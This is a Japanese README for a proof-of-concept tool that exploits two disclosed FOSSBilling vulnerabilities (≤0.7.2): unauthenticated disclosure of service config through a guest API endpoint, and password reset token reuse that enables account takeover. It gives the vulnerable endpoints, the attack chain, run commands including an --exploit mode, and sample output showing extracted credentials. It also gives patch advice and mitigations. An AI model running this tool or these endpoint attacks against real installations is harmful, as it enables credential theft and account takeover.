
FOSSBilling CVE-2026-53647 & CVE-2026-53646 PoC — 未認証のAPIキー開示とパスワードリセットトークンの再利用
███████╗ ██████╗ ███████╗██╗ ██╗██╗██╗ ██╗ ███████╗██████╗
██╔════╝██╔═══██╗██╔════╝██║ ██╔╝██║██║ ██║ ██╔════╝██╔══██╗
█████╗ ██║ ██║███████╗█████╔╝ ██║██║ ██║ █████╗ ██████╔╝
██╔══╝ ██║ ██║╚════██║██╔═██╗ ██║██║ ██║ ██╔══╝ ██╔══██╗
██║ ╚██████╔╝███████║██║ ██╗██║███████╗███████╗███████╗██║ ██║
╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝╚══════╝╚══════╝╚══════╝╚═╝ ╚═╝
作成者: 7megaumka7
FOSSBilling ≤ 0.7.2における、受理された2件のGitHub Security Advisory脆弱性のPoCツール
FOSKillerは、FOSSBilling(オープンソースの請求・クライアント管理プラットフォーム)における2件のセキュリティ脆弱性を示す概念実証ツールです。両脆弱性はGitHub Security Advisoryプログラムを通じて責任を持って開示され、FOSSBilling 0.7.3以降で完全に修正されています。
このツールは以下の用途を想定しています:
ゲストエンドポイント /api/guest/serviceapikey/get_info は、認証を必要とせずに完全なサービス設定(custom_* フィールド、API認証情報、ホスト名、パスワードを含む)を返します。有効なAPIキーを知っているか、列挙した攻撃者は、公開エンドポイントから完全なバックエンドサービス設定を取得できます。
影響: サービス認証情報、内部ホスト名、APIシークレットの漏洩。
クライアントが同じアカウントに対して連続して2回のパスワードリセットをトリガーすると、アプリケーションは新しいトークンを発行しますが、以前のトークンを無効化しません。以前に最初のトークンを取得した攻撃者は、正当なユーザーが自分のリセットフローを完了した後でも、そのトークンを使用して新しいパスワードを設定できます。
攻撃チェーン:
1. Attacker triggers POST /api/guest/client/reset_password → captures token T1
2. Victim triggers their own reset → app issues T2, T1 remains valid
3. Attacker calls POST /api/guest/client/update_password?hash=T1 with chosen password
4. Attacker has persistent access regardless of victim's reset completion
影響: メールが傍受可能なクライアントの永続的なアカウント乗っ取り。
依存関係が不足している場合、スクリプトは起動時に検出し、自動的にインストールするオプションを提供します。
クローンして依存関係をインストール:
git clone https://github.com/7megaumka7/FOSKiller.git
cd FOSKiller
pip install -r requirements.txt
または、事前インストールなしで実行 — スクリプトは最初の実行時に不足しているパッケージのインストールを促します。
python fossbilling_poc.py --target URL [--key KEY] [--email EMAIL]
[--check-only | --exploit]
[--force] [--output FILE]
[--timeout SEC] [--proxy URL]
--check-only と --exploit は相互排他的です。
検出のみ — データを抽出せずに両方のCVEを確認:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--email [email protected] \
--check-only
完全抽出と攻撃チェーンの文書化:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--email [email protected] \
--exploit
結果をJSONに保存し、Burp Suite経由でルーティング:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--email [email protected] \
--output results.json \
--proxy http://127.0.0.1:8080
未知または既にパッチが適用されたバージョンのテスト:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--force
[*] Probing https://billing.example.com …
[+] Detected version: 0.7.1
[+] CVE-2026-53647 affected range (>=0.5.3 <=0.7.2): YES
[+] CVE-2026-53646 affected range (>=0.5.6 <=0.7.2): YES
── CVE-2026-53647 │ Unauthenticated API Key Config Disclosure ─────────
[*] Target : https://billing.example.com/api/guest/serviceapikey/get_info?key=***
[*] Mode : Full extraction
[*] HTTP : 200
[+] VULNERABLE — endpoint returned 4 sensitive field(s) without authentication
Field Value
──────────────────────────────────────────────────────────────────────
custom_hostname db.internal.example.com
custom_username fossbilling_db
custom_password [REDACTED IN THIS EXAMPLE]
custom_api_secret [REDACTED IN THIS EXAMPLE]
── CVE-2026-53646 │ Password Reset Token Reuse / Account Takeover ─────
[*] Sending reset request #1 …
[*] HTTP 200 | 142 ms | 2026-06-12T10:00:00.000Z
[*] Sending reset request #2 (same email) …
[*] HTTP 200 | 138 ms | 2026-06-12T10:00:01.000Z
[*] Time delta between requests : 0.643s
[!] Both reset requests succeeded — endpoint accepts repeated resets without rate-limiting.
── Summary ─────────────────────────────────────────────────────────────
CVE GHSA Severity Status
──────────────────────────────────────────────────────────────────────────────────
CVE-2026-53647 GHSA-737q-9gpr-6mpq Moderate (CVSS 6.9) VULNERABLE
CVE-2026-53646 GHSA-vp66-w6rc-x32p High (CVSS 7.7) POTENTIALLY_VULNERABLE
FOSSBilling 0.7.3以上にアップグレードしてください。これにより両脆弱性が修正されます。
即時のパッチ適用が不可能な場合の暫定対策:
| CVE | 暫定対策 |
|---|---|
| CVE-2026-53647 | WebサーバーまたはWAFレベルで /api/guest/serviceapikey/ へのアクセスをブロック |
| CVE-2026-53646 | 再発行時にトークンを無効化する実装; リセットエンドポイントにレート制限を追加 |
両脆弱性は本公開に先立ち、GitHub Security Advisoryプログラムを通じてFOSSBillingメンテナーに報告されました。
このツールは教育目的および許可されたセキュリティテストのためのみ提供されます。
このツールは、自分が所有するシステム、または明示的な書面による許可を得たシステムに対してのみ使用してください。 第三者システムに対する不正使用は、アメリカのコンピュータ詐偽及び悪用取締法(CFAA)、英国のコンピュータ不正使用法、および世界各国の同等の法律に違反します。
作者は、このツールの使用に起因する誤用、損害、または法的結果について一切の責任を負いません。このツールを使用することにより、あなたが自身の行動に対して単独で責任を負うことに同意したものとみなします。
研究者・作成者: 7megaumka7
脆弱性の発見、分析、責任ある開示、ツール開発。
| アドバイザリ | CVE | 種類 | CVSS | 影響を受けるバージョン |
|---|
| GHSA-737q-9gpr-6mpq | CVE-2026-53647 | 未認証APIキー設定情報漏洩 | 6.9 中 | >= 0.5.3, <= 0.7.2 |
| GHSA-vp66-w6rc-x32p | CVE-2026-53646 | パスワードリセットトークンの再利用 → アカウント乗っ取り | 7.7 高 | >= 0.5.6, <= 0.7.2 |
| フラグ | 必須 | 説明 |
|---|
--target URL | はい | FOSSBillingインスタンスのベースURL |
--key KEY | CVE-2026-53647用 | テストするAPIキー |
--email EMAIL | CVE-2026-53646用 | テストするクライアントメールアドレス |
--check-only | いいえ | 検出モード — データを抽出せずに脆弱性の有無を確認 |
--exploit | いいえ | 完全抽出 + 攻撃チェーンの文書化 |
--force | いいえ | バージョン範囲チェックをスキップ |
--output FILE | いいえ | 完全な結果をJSONファイルに保存 |
--timeout SEC | いいえ | HTTPタイムアウト(秒)(デフォルト: 10) |
--proxy URL | いいえ | HTTPプロキシ(例: http://127.0.0.1:8080) |
| モード | フラグ | 動作 |
|---|
| 検出 | --check-only | 脆弱性の存在を確認します。機密値を表示または抽出しません。 |
| デフォルト | (モードフラグなし) | ステータスを確認し、基本的な証拠を表示します。 |
| 攻撃 | --exploit | 漏洩したすべてのフィールドを抽出し、タイミングメタデータを含む完全なアカウント乗っ取りチェーンを文書化します。 |